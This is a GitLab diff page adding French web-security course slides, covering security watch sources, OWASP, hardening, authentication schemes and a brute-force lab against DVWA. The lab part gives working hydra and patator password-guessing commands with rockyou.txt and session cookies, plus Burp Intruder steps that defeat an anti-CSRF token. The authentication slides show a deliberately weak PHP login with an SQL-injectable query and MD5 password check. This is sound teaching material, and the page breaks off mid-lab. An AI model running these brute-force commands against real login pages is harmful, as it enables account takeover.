Skip to content
Snippets Groups Projects

Compare revisions

Changes are shown as if the source revision was being merged into the target revision. Learn more about comparing revisions.

Source

Select target project
No results found

Target

Select target project
  • vimazeno/blog.limos.fr
  • matrossevi/blog.limos.fr
  • borlonjo/blog.limos.fr
3 results
Show changes
Showing
with 4173 additions and 0 deletions
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Web Sec Lab</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/lab.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
<script src="../main.js"></script>
</body>
</html>
# Anticiper
## aka le métier qui rentre ...
## Trouver des mentors
![Bruce Schneier quote](images/anticiper/Bruce-Schneier-Quotes-1.jpg "Bruce Schneier quote")
## Trouver des mentors
![Bruce Schneier quote](images/anticiper/Bruce-Schneier-Quotes-5.jpg "Bruce Schneier quote")
<i class="fa fa-quote-left"></i> la sécurité n'est pas un produit c'est un process <i class="fa fa-quote-right"></i> _Bruce Schneier_
## Organiser sa veille
* [CVE (Common Vulnerabilities and Exposures)](http://cve.mitre.org/index.html)
* MITRE est une société qui
* a lancé le projet CVE ("Common Vulnerabilities and Exposures")
* facilite l'échange d'information de sécurité
* maintient les ID de vulnérabilité
* [CVE Details](https://www.cvedetails.com/)
* custom RSS
## phpMyAdmin
![phpMyAdmin](images/anticiper/phpmyadmin-vuln.png "phpMyAdmin")<!-- .element width="90%" -->
Note:
- bien percé
- Ne pas trop exposer
- bien pratique
- Utiliser un client lourd
- MySQL Workbench
## Organiser sa veille
* [National Vulnerability Database - US](https://nvd.nist.gov/)
* [CERT EU](https://cert.europa.eu/cert/filteredition/en/CERT-LatestNews.html)
* [CERT FR](http://www.cert.ssi.gouv.fr/cert-fr/certfr.html) - [archive 2015](http://www.cert.ssi.gouv.fr/site/2015index.html)
* [CERT RENATER](https://services.renater.fr/ssi/cert/index) - [sécurité](https://services.renater.fr/ssi/securite/index)
* et d'autres [CSIRT](http://www.cert.ssi.gouv.fr/cert-fr/cert.html)
## Organiser sa veille
* Sources reconnues
* [Bugtraq - Security Focus](http://www.securityfocus.com/bid)
* [Open Source Software Security Wiki](http://oss-security.openwall.org/wiki/)
* [<i class="fa fa-envelope"></i> Mailing list](http://oss-security.openwall.org/wiki/mailing-lists/oss-security)
* [<i class="fa fa-twitter"></i> openwall](https://twitter.com/openwall)
* [SecLists.Org Security Mailing List Archive](http://seclists.org/)
## Organiser sa veille
* Sources alternatives
* [Exploit Databse](https://www.exploit-db.com)
* [Shodan - Popular Searches](https://www.shodan.io/explore/popular)
* [Shodan - Recently Shared](https://www.shodan.io/explore/recent)
* Sources spécialisés
* [WPScan Vulnerability Database](https://wpvulndb.com/)
* [drupalexploit.com](http://www.drupalexploit.com/)
## Organiser sa veille
* <i class="fa fa-twitter"></i> twitter
* [<i class="fa fa-list-alt"></i> ma liste ssi-infosec-hack](https://twitter.com/mazenovi/lists/ssi-infosec-hack)
* <i class="fa fa-wordpress"></i> blog
* en anglais
* https://googleonlinesecurity.blogspot.fr/
* https://www.schneier.com/
* https://nakedsecurity.sophos.com/
Note:
- parler de netvibes et yahoo pipes (qui ets mort)
- considérer les solutions hébergées
## Organiser sa veille
* <i class="fa fa-wordpress"></i> blog
* en français
* http://www.bortzmeyer.org/
* https://reflets.info/
* http://zythom.blogspot.fr/
* http://www.nolimitsecu.fr
* http://news0ft.blogspot.fr
## Organiser sa veille
* autre ...
* en français
* http://www.security-feeds.com/
* http://vigilance.fr/
* http://www.datasecuritybreach.fr/
* http://www.zataz.com/
* http://www.globalsecuritymag.fr/
* http://assiste.com/
## OWASP
* depuis janvier 2001
* fondation Américaine
* [à but non lucratif](http://en.wikipedia.org/wiki/501%28c%29_organization#501.28c.29.283.29)
* en France
* Association loi 1901
* participe au [clusif - Club de la Sécurité de l’Information Français](http://www.clusif.asso.fr/)
* Ludovic Petit & [Sebastien Gioria ](https://twitter.com/spoint)
* [L'OWASP, l'univers, et le reste](https://air.mozilla.org/talks-owasp-afup-firefoxos-security-mozilla-firefoxos-what-is-owasp-by-sebastien-gioria/)
## OWASP - Indépendance
* composé d'expert indépendants
* indépendant des fournisseurs de solution
* indépendant des gouvernements
* Les projets sont opensource
* nombreux adhérents
* entreprises
* institutions
* [individus](https://docs.google.com/spreadsheets/d/1FQEj2xQb1uTxZMXshPs0suy1Bkb5iYCbHH_vrzHMVa4/edit)
* [join now](http://myowasp.force.com/memberappregion): <strike>adhésion gratuite</strike> donation obligatoire 50$ minimum
Note:
- le marché de la sécurité est blindé de commericaux
- et de conflit d'intérêt
## OWASP - Projets
!["OWASP Flagship mature project"](images/anticiper/Flagship_banner.jpg "OWASP Flagship mature project")<!-- .element width="70%"-->
!["OWASP Lab medium level project"](images/anticiper/Lab_banner.jpg "OWASP Lab medium level project")<!-- .element width="70%"-->
!["OWASP Low activity project"](images/anticiper/Low_activity.jpg "OWASP Low activity project")<!-- .element width="70%"-->
!["OWASP Incubator new projects"](images/anticiper/Incubator_banner.jpg "OWASP Incubator new projects")<!-- .element width="70%"-->
## [Owasp projects](https://www.owasp.org/index.php/Category:OWASP_Project#tab=Project_Inventory)
* [OWASP Top Ten project](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project)
* [OWASP Testing Guide](https://www.owasp.org/index.php/OWASP_Testing_Project)
* [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology)
* [OWASP Code Review Guide](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project)
* [OWASP Developer Guide](https://www.owasp.org/index.php/OWASP_Guide_Project)
## [Owasp projects](https://www.owasp.org/index.php/Category:OWASP_Project#tab=Project_Inventory)
* [OWASP Enterprise Security API](https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API)
* [OWASP Application Security Desk Reference](https://www.owasp.org/index.php/Category:OWASP_ASDR_Project)
* [OWASP Cheat Sheets](https://www.owasp.org/index.php/Cheat_Sheets)
* [OWASP Application Security Verification Standard (ASVS)](http://www.owasp.org/index.php/ASVS)
* [OWASP Legal Project](http://www.owasp.org/index.php/Category:OWASP_Legal_Project)
* [and more ...](https://www.owasp.org/index.php/Category:OWASP_Project#tab=Project_Inventory)
## [ANSSI](href="http://www.ssi.gouv.fr)
* organisme de
* [formation](http://www.ssi.gouv.fr/fr/anssi/formations/)
* sensibilisation / recommandation
* [guide d'hygiène informatique](http://www.ssi.gouv.fr/IMG/pdf/guide_hygiene_informatique_anssi.pdf)
* [Objectifs de sécurité (dans le cadre du plan vigipirate)](http://www.ssi.gouv.fr/fr/defense-des-si/les-plans-gouvernementaux/) et au niveau [OIV](http://www.ssi.gouv.fr/actualite/lanssi-sattele-aux-decrets-dapplication-de-la-lpm-portant-sur-la-protection-des-operateurs-dimportance-vitale/)
* [cybersécurité des système industriels](http://www.ssi.gouv.fr/fr/guides-et-bonnes-pratiques/recommandations-et-guides/securite-des-systemes-industriels/la-cybersecurite-des-systemes-industriels.html)
* [Sécuriser un site web](http://www.ssi.gouv.fr/guide/recommandations-pour-la-securisation-des-sites-web/)
* [Protéger son site Internet des cyberattaques](http://www.ssi.gouv.fr/actualite/proteger-son-site-internet-des-cyberattaques/)
## [ANSSI](href="http://www.ssi.gouv.fr)
* certfication
* [de produits de sécurité](http://www.ssi.gouv.fr/fr/produits-et-prestataires/produits-certifies-cc/)
* [de prestataires de services de confiance](http://www.ssi.gouv.fr/fr/produits-et-prestataires/prestataires-de-services-de-confiance-qualifies/)
* d'intervention / investigation
[<i class="fa fa-book"></i> La Stratégie nationale pour la sécurité du numérique : une réponse aux nouveaux enjeux des usages numériques](http://www.ssi.gouv.fr/actualite/la-strategie-nationale-pour-la-securite-du-numerique-une-reponse-aux-nouveaux-enjeux-des-usages-numeriques/)
Note:
- de la com pourrie aussi [HACK ACADEMY : DE DRÔLES DE HACKERS AU SERVICE DE LA PRÉVENTION](http://www.ssi.gouv.fr/actualite/hack-academy-de-droles-de-hackers-au-service-de-la-prevention/)
## Autres entités SSI françaises
* [OzSSI](http://www.ssi.gouv.fr/agence/cybersecurite/ozssi/)
* [Zomm sur les OzSSI](http://www.ssi.gouv.fr/actualite/zoom-sur-les-ozssi/)
* [OSSIR](http://www.ossir.org/)
* [CLUSIF](https://www.clusif.asso.fr/)
* [CLUSIR Rhône Alpes](http://www.clusir-rha.fr/)
* CLUSIR Auvergne?
## Best Practices / Cheat sheets / Checklists
* Généraliste
* http://www.sans.org/critical-security-controls/
* [The Joel Test: 12 Steps to Better Code](http://www.joelonsoftware.com/articles/fog0000000043.html)
* OWASP
* [OWASP Proactive Controls](https://www.owasp.org/index.php/OWASP_Proactive_Controls)
* Linux
* https://www.sans.org/media/score/checklists/linuxchecklist.pdf
## Best Practices / Cheat sheets / Checklists
* Apache
* http://httpd.apache.org/docs/2.4/misc/security_tips.html
* http://geekflare.com/10-best-practices-to-secure-and-harden-your-apache-web-server/
* http://www.tecmint.com/apache-security-tips/
* http://blogs.reliablepenguin.com/2012/10/09/apache-configuration-best-practicies
## Best Practices / Cheat sheets / Checklists
* Nginx
* http://www.cyberciti.biz/tips/linux-unix-bsd-nginx-webserver-security.html
* Wordpress
* http://mazenovi.github.io/blog/2015/01/28/securing-wordpress/
* Drupal
* https://www.drupal.org/project/security_review
#### Proposition d'Hervé Schauer
[HSC Newsletter](https://www.hsc.com.vn/en/help-center/other-services/hsc-newsletter) -- N°135
* Utilisez-vous systématiquement des requêtes SQL préparées (connues aussi sous le nom de requêtes paramétrées) ?
* Utilisez-vous la gestion de session d'un cadriciel/bibliothèque fiable ?
* Encodez-vous systématiquement les valeurs venant de l'extérieur (utilisateur, base de données...) avant de les envoyer vers l'affichage ?
* Utilisez-vous SSL/TLS sur la totalité de votre site ?
#### Proposition d'Hervé Schauer
* Stockez-vous et vérifiez-vous les mots de passe utilisateurs uniquement en les dérivant avec *sha256crypt*, *bcrypt*, *scrypt*, *pbkdf2(sha256)* ou *argon2*?
* Évitez-vous systématiquement d'utiliser les entrées utilisateurs pour des appels systèmes ?
* Stockez-vous les téléchargements utilisateurs vers l'application (uploads) dans un environnement restreint ?
#### Proposition d'Hervé Schauer
* Séparez-vous les paramètres secrets du code ?
* Faites-vous un suivi de version de tout votre code ?
* Gérez-vous vos dépendances et leur sécurité ?
Note:
- c'est le web beaucoup de gens ne savent pas ce qu'ils racontent ...
- faire marcher la tête et ne pas totu copier / coller sur un espace de prod
- pensez la sécurité au moment du choix du design pattern
## utiliser tls
* ne jamais utiliser FTP
* ftps et sftp fonctionnent parfaitement
* rsync et scp aussi
* chrooter un user ssh
* https://stdout.cowthink.org/setup-chroot-jails-in-linux-and-only-allow-sftp/
* généraliser l'utilisation d'https
* [Google favorise les sites en HTTPS, c'est un critère officiel du référencement naturel](http://www.webrankinfo.com/dossiers/conseils/https-critere-seo)
* désactiver les services de types POP3, IMAP, SMTP
* utiliser les versions SSLifiées
#### [ISPConfig](http://www.ispconfig.org/page/home.html)
![ISPConfig](images/anticiper/ispconfig.jpg "ISPConfig")
[tuto d'install](https://www.howtoforge.com/tutorials/ispconfig/)
Note:
- suExec, suPHP, chrooting avec jailkit, rkhunter
- [auto install](https://www.howtoforge.com/tutorial/ispconfig-install-script-debian/)
## Symfony
* A1
* ORM (Doctrine / Propel)
* SQLi
* librairie system / Service Parameters typés
* Command injection
* namespace / service
* LFI / RFI
## Symfony
* A2
* FOSUserBundle
* A3
* twig
* échappe par défaut
* A4
* security.yml
* Firewall donnant une vue globale sur la sécurité des objets
## Symfony
* A5
* configuration par défaut secure
* A6
* [igorw/IgorwFileServeBundle](https://github.com/igorw/IgorwFileServeBundle)
* A7
* système d'ACL
## Symfony
* A8
* système de jeton par défaut
* pour totue soumission de formulaire
* A9
* basé sur github & composer
* A10
* Service Parameters typés
## Parler sécurité
* Revue de code
* Rendre les checklists collaboratives
* Bug bounty
* <i class="fa fa-beer"></i> Bières, restos, sandwichs
* ce que font les grands
* google, FB, etc ...
* DevOps
* Be fullstack
* [Discuter les modèles (exposer ou cacher)](https://en.wikipedia.org/wiki/Open-source_software_security)
Note:
- si Microsoft ouvre tout ce n'est pas un hasard c'est que ca marche
#### Positiver
![Be positive](images/anticiper/bepositive.jpg "Be positive")<!-- .element width="50%" -->
Note:
- effort supplémentairer à moyen constant
- pas le choix sur la présentation
## Utiliser des outils de gestion de dépendance
* Bonne pratique
* permet d'éviter des problèmes de compatibilités
* permet une mise à jour globale
* permet un meilleur déploiement
* [composer](https://getcomposer.org/) (PHP)
* [bower](http://bower.io/) (Javascript client)
* [npm](https://www.npmjs.com/) (Javascript server)
* [pip](https://pypi.python.org/pypi/pip) (Python)
* [gems](https://rubygems.org/) (Ruby)
## Analyser le code
* pas d'outil miracle
* peut être dans les très spécialisés et les très chers?
* statique
* lecture du code
* grep -nR
* [netbeans](https://netbeans.org/downloads/)
* ctrl+clic
* [OWASP Code Review Project](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project)
## Analyser le code
* dynamique
* exécution du code
* [OWASP Testing Project](https://www.owasp.org/index.php/OWASP_Testing_Project)
* ~ Fuzzing
* [XDebug](http://xdebug.org/)
* [KCacheGrinder](http://kcachegrind.sourceforge.net/html/Home.html)
* [BlackFiler Profiler](https://blackfire.io/)
Note:
- les outils de gestion de version rendent services
- long et souvent très spécialisé
## Tests & Intégration continue (CI)
* utiliser un outil de versionning
* [git](https://git-scm.com/), [svn](https://subversion.apache.org/), [mercurial](https://www.mercurial-scm.org/wiki/)
* rétrochronologie des vulnérabilités
* utiliser les environnements
* prod, dev, test, staging, deploy, ...
* les secrets de la CI
* [vault by HashiCorp](https://www.vaultproject.io/)
évite le leak de configuration
## Tests & Intégration continue (CI)
* tester
* intégrer la sécurité au tests
* aspect fonctionnel
* [behat](http://docs.behat.org/en/v2.5/)
* [casperjs](http://casperjs.org/) sur la base de [phantomjs](http://phantomjs.org/)
* [selenium](http://www.seleniumhq.org/)
* jouer les tests régulièrement via la ci [gitlab](https://gitlab.com/), [jenkins](https://jenkins-ci.org/), [Travis](https://travis-ci.org/), ...
## Déploiement logiciel
* via la ci [gitlab](https://gitlab.com/), [jenkins](https://jenkins-ci.org/), [Travis](https://travis-ci.org/), ...
* [githook](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)
* [capistrano](http://capistranorb.com/)
* [capifony](http://capifony.org/)
* [<i class="fab fa-github"></i> capistrano/symfony](https://github.com/capistrano/symfony)
* [Fabric](http://www.fabfile.org/)
* bash <3
## filtrer
* [ngnix](http://nginx.org/)
* permet de filtrer rapidement et efficacement
* [Web application Firewal (WAF)](http://www.cert-ist.com/pub/files/Document_Cert-IST_000333.pdf)
* [mod_security](https://www.modsecurity.org/)
* permet entre autre de logger la méthode post facilement
* gare à l'espace disque
* [<i class="fab fa-github"></i> SpiderLabs/owasp-modsecurity-crs](https://github.com/SpiderLabs/owasp-modsecurity-crs)
* expressions régulières complexes
## Monitorer
* Avoir un outil d'analyse de log
* permet de connaître le bruit
* beaucoup d'attaques a priori
## Etudier des pistes radicales
* déporter le back office
* utiliser la génération de code
* [<i class="fab fa-github"></i> sculpin/sculpin](https://sculpin.io)
* [<i class="fab fa-github"></i> getpelican/pelican](https://github.com/getpelican/pelican)
* interdire l'upload de fichier
* utiliser markdown (pure) pour la mise en forme
* ou tout autre système de texte enrichi
* ne rien mettre sur le web
## S'entrainer
* jamais sur de la prod
* ni la vôtre
* ni celle des concurrents
* Challenges
* http://www.root-me.org/
* https://www.newbiecontest.org/
* https://github.com/ctfs
## S'entrainer
* VM
* http://www.bonsai-sec.com/en/research/moth.php
* http://sourceforge.net/projects/lampsecurity/
* http://hackxor.sourceforge.net/cgi-bin/index.pl
* http://sourceforge.net/projects/exploitcoilvuln/
* https://www.vulnhub.com/entry/metasploitable-1,28/
* http://sourceforge.net/projects/metasploitable/
## S'entrainer
* Weak apps
* http://sourceforge.net/projects/mutillidae/
* http://sechow.com/bricks/
* https://www.pentesterlab.com/
* http://hackingdojo.com/dojo-media/
## Conclusion
<div style="text-align: center">
![Conseil de Jedi](images/anticiper/yoda.gif "Conseil de Jedi")
</div>
## Conclusion
* <i class="fa fa-bullhorn"></i> une veille efficace tu maintiendras
* <i class="fa fa-bullhorn"></i> toutes les mises à jour asap tu effectueras
* <i class="fa fa-bullhorn"></i> toutes tes entrées tu filteras
* <i class="fa fa-bullhorn"></i> toutes tes sorties tu échapperas
* <i class="fa fa-bullhorn"></i> par listes blanches tu réfléchiras
* <i class="fa fa-bullhorn"></i> les bonnes pratiques tu étudieras
* <i class="fa fa-bullhorn"></i> un système fiable de déploiement tu utiliseras
* <i class="fa fa-bullhorn"></i> avec ton équipe de sécurité tu parleras
Note:
- cacher n'est pas protégé
# authentification
"processus permettant à un système de s'assurer de la légitimité de la demande d'accès faite par une entité (être humain ou un autre système...) afin d'autoriser l'accès de cette entité à des ressources du système (systèmes, réseaux, applications…) conformément au paramétrage du contrôle d'accès ."
<i class="fa-brands fa-wikipedia-w"></i>ikipédia
### 3 concepts
* identification
* **authentification**
* ACL
### preuves
* **ce que je sais**: mot de passe, numéro d'identification personnel
* **ce que je possède**: carte d'identité, carte à puce, certificat électronique, Token, Token OTP, périphérique
* **ce que je suis**: photo, caractéristique physique, voire biométrie
* **ce que je sais faire**: geste, signature
# quelques techniques
## du world wide web
### A base de login / mot de passe
### apache & .htaccess
* [EnablingUseOfApacheHtaccessFiles](https://help.ubuntu.com/community/EnablingUseOfApacheHtaccessFiles)
* surcharge du vhost courant (déconseillé)
```
$ sudo vi /etc/apache2/apache2.conf
<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
AllowOverride All # None par défaut
Order allow,deny
allow from all
</Directory>
```
Note:
- potentiellement danegreux
- php.ini surchargeable aussi
- tems d'exec max
- taille de fichier max
- reporting d'erreur
- configurable en cas de virtual hosting
- à creuser
### auth basic / .htaccess
```
$ vi /var/www/http-basic/.htaccess
AuthType Basic
AuthName "Big Basic Secret"
AuthUserFile /var/www/http-basic/.htpasswd
Require valid-user
```
[htpasswd](https://httpd.apache.org/docs/2.2/programs/htpasswd.html) outil de création des utilisateurs
```
$ htpasswd -c /var/www/http-basic/.htpasswd guest
$ htpasswd /var/www/http-basic/.htpasswd otheruser
```
### auth basic / requête
le client demande un contenu (protégé)
```http
GET /http-basic/ HTTP/1.1
Host: go.od
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
```
### auth basic / réponse
le serveur répond que le contenu est protégé
```http
HTTP/1.1 401 Authorization Required
Date: Wed, 21 Oct 2015 13:26:29 GMT
Server: Apache/2.2.22 (Debian)
WWW-Authenticate: Basic realm="Big Basic Secret"
Content-Length: 472
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Authorization Required</title>
</head><body>
<h1>Authorization Required</h1>
</body>
```
### auth basic
![HTTP basic auth](images/authentication/http-basic-auth.png "HTTP basic auth")
### auth basic
```http
GET /http-basic/ HTTP/1.1
Host: go.od
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Authorization: Basic b3dhc3A6cGFzc3dvcmQ=
```
[base64](https://fr.wikipedia.org/wiki/Base64)(username:password)
### auth digest
* Même schéma que la version Basic excepeté
* algorithme de hashage [MD5](https://fr.wikipedia.org/wiki/MD5) plutôt qu'un simple encodage [base64](https://fr.wikipedia.org/wiki/Base64)
* ajout d'un [nonce](http://fr.wikipedia.org/wiki/Nonce_cryptographique), rattacher à la session de communication, pour éviter les [attaques "par rejeu"](https://fr.wikipedia.org/wiki/Attaque_par_rejeu)
```
$ sudo a2enmod auth_digest
$ sudo service apache2 reload
```
### auth digest
!["Basic Digest Auth"](images/authentication/http-digest-auth.png "Basic Digest Auth")<!-- .element style="background-color: white" -->
### auth digest / .htaccess
```
$ vi /var/www/http-digest/.htaccess
AuthType Digest
AuthName "authdigest"
AuthDigestDomain "/"
AuthDigestProvider file
AuthUserFile "/var/www/http-digest/.htdigest"
Require valid-user
```
[htdigest](https://httpd.apache.org/docs/2.2/fr/programs/htdigest.html) outil de création des utilisateurs
```
htdigest -c /var/www/http-basic/.htdigest "authdigest" guest
htdigest /var/www/http-basic/.htdigest "authdigest" otheruser
```
### auth digest
* le client demande un contenu (protégé)
* le serveur répond que le contenu est protégé
```http
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest realm="OwaspSample",
nonce="Ny8yLzIwMDIgMzoyNjoyNCBQTQ",
opaque="0000000000000000", \
stale=false,
algorithm=MD5,
qop="auth"
```
### auth digest
![HTTP digest auth](images/authentication/http-basic-auth.png "HTTP digest auth")
### auth digest
```http
GET /example/owasp/test.asmx HTTP/1.1
Accept: */*
Authorization: Digest username="owasp",
realm="OwaspSample",
qop="auth",
algorithm="MD5",
uri="/example/owasp/test.asmx",
nonce="Ny8yLzIwMDIgMzoyNjoyNCBQTQ",
nc=00000001,
cnonce="c51b5139556f939768f770dab8e5277a",
opaque="0000000000000000",
response="2275a9ca7b2dadf252afc79923cd3823"
```
Note:
- haché plus réversible même si MD5 ca craint un peu
- le nonce evite le rejeu
- le serveur connait les nonce qu'il a émis
- il sait qu'ils ne sont valables qu'une fois
- http://slideplayer.fr/slide/1622495/ -> slide 30
- le cnonce agit comme un salt
- évite le cassage du mot de passe par dictionnaire
- toujours pas de lockout
- attaque man in the middle
- demande de nonce au serveur et l'envoie au client et renvoie le resultat du cacul au serveur
- pas de blocage testable à l'infini
### authentification par formulaire
```html
<form method="POST" action="login">
<input type="text" name="username">
<input type="password" name="password">
</form>
```
```php
$connect = mysqli_connect("host","user","pwd", "db");
$result = $connect->query(
"SELECT password FROM user WHERE Username = '$_POST['username'];"
);
if(mysqli_num_rows($result) > 0 ){
$row = mysqli_fetch_assoc($result);
if($row["password"] == md5($_POST['password']))
{
echo "auth success";
}
}
echo "auth failed";
```
### authentification par formulaire
* le mot de passe est transmis en clair au serveur
* https :)
* stocker les mots de passe en clair sur le serveur est une mauvaise idée
* [Rockyou.com en 2010](http://commedansdubeurre.ch/?story=162-piratage-de-32-millions-de-comptes-utilisateurs-chez-rockyou-recours-collectif-depose)
* stocker les hashés est une bonne pratique
* saler les hashés est encore mieux
### oAuth
![oAuth](images/authentication/oAuth.png "oAuth")
### oAuth
| Version | SSL | Token | Technique |
| ------- | ----------- | --------------- | ------------------------ |
| 1.0 | optionel | sans expiration | mise en place compliquée |
| 2.0 | obligatoire | révocable | simple et plus léger |
* 1.0 incompatible avec 2.0
* <i class="fa fa-newspaper-o"></i> [How to Secure Your REST API using Proven Best Practices](https://stormpath.com/blog/secure-your-rest-api-right-way)
Note:
- authentification simple (instagram)
- souvent autorisations partielles attribuées à l'app
- le token évite de rejouer l'auth
- oAuth 1.0 en clair lire le token
- pas de consensus sur la version 1 ou 2 sur Internet
- confiance dans consumer (l'app qui demande l'autorisation)
### SSO
* [CAS](http://www.apereo.org/cas)
##### "Identity providers (IdPs) supply user information, while service providers (SPs) consume this information and give access to secure content"
* [keycloak](https://www.keycloak.org/)
* [OpenID](https://openid.net/)
* [SAML](https://fr.wikipedia.org/wiki/SAML) [Shibboleth](images/authentication/Shibboleth.png)
* [lemonldap-ng](https://lemonldap-ng.org/welcome/)
### JWT
[![jwt auth](images/authentication/jwt-auth.png "jwt auth")<!-- .element style="width: 80%" -->](https://blog.ippon.fr/2017/10/12/preuve-dauthentification-avec-jwt/)
### 2FA
![Google Authenticator](images/authentication/google-authenticator.png)
https://www.google.com/landing/2step/
### 2FA / Yubikey
[![Ubikey](../privacy/images/passwords/yubikey.png)](https://www.yubico.com/)
### <i class="fa fa-medkit"></i> Se protéger
* bien choisir son système d'authentification
* bien implémenter son système d'authentification
* [ESAPI (The OWASP Enterprise Security API)](https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API)
* libs & bundles éprouvés
* mettre en place un deuxième facteur d'authentification
* utiliser la crypto asymétrique
## Browsers
![Browsers](images/browsers/main-desktop-browser-logos.png "Browsers")
## Stats
[![Stats 08/2024](images/browsers/stats-browser-08-2024.png "Stats 08/2024")](https://en.wikipedia.org/wiki/Usage_share_of_web_browsers)
## Browser
<quote>
Un navigateur web est un logiciel conçu pour consulter et afficher le World Wide Web. Techniquement, c'est au minimum un client HTTP.
</quote>
* [Navigateur web](https://fr.wikipedia.org/wiki/Navigateur_web)
* [moz://a > L’histoire des navigateurs web](https://www.mozilla.org/fr/firefox/browsers/browser-history/)
Dans la plupart des cas un navigateur embarque un interpréteur [javascript](js.html): ce qui induit quelque garde fous ...
\ No newline at end of file
# Brute Force
## AKA burning cpu
### <i class="fas fa-cogs"></i> force brute
* par dictionnaires
* liste d'utilisateurs + liste de mots de passe
* optimisable avec
* de la probabilité
* [des dictionnaires au hasard](https://dazzlepod.com/site_media/txt/passwords.txt)
* de l'ingénieurie sociale
* du flaire etc ...
### <i class="fas fa-cogs"></i> force brute
* par recherche
* combinatoire
* hybride
* décliner via des règles les propositions d'un dictionnaire
* ["leetspeakation"](https://fr.wikipedia.org/wiki/Leet_speak) automatique
* [John the Ripper](http://www.openwall.com/john/) permet de générer des mots de passes dérivant de parties du username
### <i class="fa-solid fa-bomb"></i> Brute force / low
extract rockyou.txt
```bash
cd /usr/share/wordlists
sudo gzip -d rockyou.txt.gz
```
```bash
export security=low
export PHPSESSID=esiff3kfto23f7uit3vr90jks4
hydra -l admin \
-P /usr/share/wordlists/rockyou.txt \
dv.wa \
http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: PHPSESSID=${PHPSESSID}; security=${security};:Username and/or password incorrect."
```
### <i class="fa-solid fa-bomb"></i> Brute force / medium
* `sleep(2)` : Un peu plus long.
```shell
export security=medium
export PHPSESSID=esiff3kfto23f7uit3vr90jks4
```
```shell
patator http_fuzz method=GET follow=0 accept_cookie=0 --threads=1 --rate-limit=2 timeout=10 \
url="http://dv.wa/vulnerabilities/brute/?username=admin&password=FILE0&Login=Login" \
0=/usr/share/wordlists/rockyou.txt \
header="Cookie: security=${security}; PHPSESSID=${PHPSESSID}" \
resolve="dv.wa:172.16.76.146" \
-x ignore:fgrep='Username and/or password incorrect.'
```
* [patator](https://github.com/lanjelot/patator)
* resolv= -> [buggy version](https://bytemeta.vip/repo/lanjelot/patator/issues/174)
### <i class="fa-solid fa-bomb"></i> Brute force / high
capturer la soumission du formulaire
![capturer la soumission du formulaire dans Proxy](images/authentication/dvwa-auth-high-capture-request.png)<!-- .element style="width: 90%" -->
### <i class="fa-solid fa-bomb"></i> Brute force / high
envoyer la requête dans *Intruder*
![envoyer la requête dans Intruder](images/authentication/dvwa-auth-high-send-intruder.png)<!-- .element style="width: 90%" -->
### <i class="fa-solid fa-bomb"></i> Brute force / high
* onglet *Intruder*
* *attack type* -> *pitchfork*
* ne laisser que password et user_token en paramètres
![Intruder configuré](images/authentication/dvwa-auth-high-intruder-clean.png)<!-- .element style="width: 90%" -->
### <i class="fa-solid fa-bomb"></i> Brute force / high
* onglet *Payloads*
* *Payload set*: 1 (mot de passe) -> *Simple list*
* *Payload settings [Simple list]* -> *load* -> */usr/share/wordslists/fasttrack.txt*
![Intruder / mot de passe](images/authentication/dvwa-auth-high-simple-list.png)<!-- .element style="width: 90%" -->
### <i class="fa-solid fa-bomb"></i> Brute force / high
* *Payload set*: 2 (token anti CSRF) -> *Recursive grep*
* onglet *Settings*
